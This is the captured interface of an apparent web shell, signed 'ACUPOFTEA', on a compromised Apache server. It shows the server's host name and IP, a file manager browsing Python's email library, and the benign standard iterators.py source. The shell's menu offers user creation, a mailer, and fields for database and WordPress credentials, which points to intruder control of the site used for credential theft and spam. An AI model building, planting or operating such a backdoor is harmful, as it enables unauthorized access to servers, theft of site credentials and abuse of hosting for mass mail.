System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python2.7
/
email
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
iterators.py
# Copyright (C) 2001-2006 Python Software Foundation # Author: Barry Warsaw # Contact: email-sig@python.org """Various types of useful iterators and generators.""" __all__ = [ 'body_line_iterator', 'typed_subpart_iterator', 'walk', # Do not include _structure() since it's part of the debugging API. ] import sys from cStringIO import StringIO # This function will become a method of the Message class def walk(self): """Walk over the message tree, yielding each subpart. The walk is performed in depth-first order. This method is a generator. """ yield self if self.is_multipart(): for subpart in self.get_payload(): for subsubpart in subpart.walk(): yield subsubpart # These two functions are imported into the Iterators.py interface module. def body_line_iterator(msg, decode=False): """Iterate over the parts, returning string payloads line-by-line. Optional decode (default False) is passed through to .get_payload(). """ for subpart in msg.walk(): payload = subpart.get_payload(decode=decode) if isinstance(payload, basestring): for line in StringIO(payload): yield line def typed_subpart_iterator(msg, maintype='text', subtype=None): """Iterate over the subparts with a given MIME type. Use `maintype' as the main MIME type to match against; this defaults to "text". Optional `subtype' is the MIME subtype to match against; if omitted, only the main type is matched. """ for subpart in msg.walk(): if subpart.get_content_maintype() == maintype: if subtype is None or subpart.get_content_subtype() == subtype: yield subpart def _structure(msg, fp=None, level=0, include_default=False): """A handy debugging aid""" if fp is None: fp = sys.stdout tab = ' ' * (level * 4) print >> fp, tab + msg.get_content_type(), if include_default: print >> fp, '[%s]' % msg.get_default_type() else: print >> fp if msg.is_multipart(): for subpart in msg.get_payload(): _structure(subpart, fp, level+1, include_default)
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
..
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
mime
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
__init__.py
text/x-python
2.79 KB
-rw-r--r--
2024-04-10 04:58:35
__init__.pyc
application/octet-stream
2.8 KB
-rw-r--r--
2024-04-10 04:58:46
__init__.pyo
application/octet-stream
2.8 KB
-rw-r--r--
2024-04-10 04:58:46
_parseaddr.py
text/x-python
15.76 KB
-rw-r--r--
2024-04-10 04:58:35
_parseaddr.pyc
application/octet-stream
13.57 KB
-rw-r--r--
2024-04-10 04:58:46
_parseaddr.pyo
application/octet-stream
13.57 KB
-rw-r--r--
2024-04-10 04:58:46
base64mime.py
text/x-python
5.66 KB
-rw-r--r--
2024-04-10 04:58:35
base64mime.pyc
application/octet-stream
5.2 KB
-rw-r--r--
2024-04-10 04:58:46
base64mime.pyo
application/octet-stream
5.2 KB
-rw-r--r--
2024-04-10 04:58:46
charset.py
text/x-python
15.67 KB
-rw-r--r--
2024-04-10 04:58:35
charset.pyc
application/octet-stream
13.22 KB
-rw-r--r--
2024-04-10 04:58:46
charset.pyo
application/octet-stream
13.18 KB
-rw-r--r--
2024-04-10 04:58:43
encoders.py
text/x-python
1.97 KB
-rw-r--r--
2024-04-10 04:58:35
encoders.pyc
application/octet-stream
2.18 KB
-rw-r--r--
2024-04-10 04:58:46
encoders.pyo
application/octet-stream
2.18 KB
-rw-r--r--
2024-04-10 04:58:46
errors.py
text/x-python
1.59 KB
-rw-r--r--
2024-04-10 04:58:35
errors.pyc
application/octet-stream
3.45 KB
-rw-r--r--
2024-04-10 04:58:46
errors.pyo
application/octet-stream
3.45 KB
-rw-r--r--
2024-04-10 04:58:46
feedparser.py
text/x-python
20.01 KB
-rw-r--r--
2024-04-10 04:58:35
feedparser.pyc
application/octet-stream
10.88 KB
-rw-r--r--
2024-04-10 04:58:46
feedparser.pyo
application/octet-stream
10.79 KB
-rw-r--r--
2024-04-10 04:58:43
generator.py
text/x-python
13.87 KB
-rw-r--r--
2024-04-10 04:58:35
generator.pyc
application/octet-stream
10.14 KB
-rw-r--r--
2024-04-10 04:58:46
generator.pyo
application/octet-stream
10.14 KB
-rw-r--r--
2024-04-10 04:58:46
header.py
text/x-python
21.72 KB
-rw-r--r--
2024-04-10 04:58:35
header.pyc
application/octet-stream
13.34 KB
-rw-r--r--
2024-04-10 04:58:46
header.pyo
application/octet-stream
13.27 KB
-rw-r--r--
2024-04-10 04:58:43
iterators.py
text/x-python
2.15 KB
-rw-r--r--
2024-04-10 04:58:35
iterators.pyc
application/octet-stream
2.31 KB
-rw-r--r--
2024-04-10 04:58:46
iterators.pyo
application/octet-stream
2.31 KB
-rw-r--r--
2024-04-10 04:58:46
message.py
text/x-python
30 KB
-rw-r--r--
2024-04-10 04:58:35
message.pyc
application/octet-stream
28 KB
-rw-r--r--
2024-04-10 04:58:46
message.pyo
application/octet-stream
28 KB
-rw-r--r--
2024-04-10 04:58:46
parser.py
text/x-python
3.22 KB
-rw-r--r--
2024-04-10 04:58:35
parser.pyc
application/octet-stream
3.74 KB
-rw-r--r--
2024-04-10 04:58:46
parser.pyo
application/octet-stream
3.74 KB
-rw-r--r--
2024-04-10 04:58:46
quoprimime.py
text/x-python
10.59 KB
-rw-r--r--
2024-04-10 04:58:35
quoprimime.pyc
application/octet-stream
8.64 KB
-rw-r--r--
2024-04-10 04:58:46
quoprimime.pyo
application/octet-stream
8.64 KB
-rw-r--r--
2024-04-10 04:58:46
utils.py
text/x-python
9.79 KB
-rw-r--r--
2024-04-10 04:58:35
utils.pyc
application/octet-stream
9.11 KB
-rw-r--r--
2024-04-10 04:58:46
utils.pyo
application/octet-stream
9.11 KB
-rw-r--r--
2024-04-10 04:58:46
~ ACUPOFTEA - mail.ontime-ae.com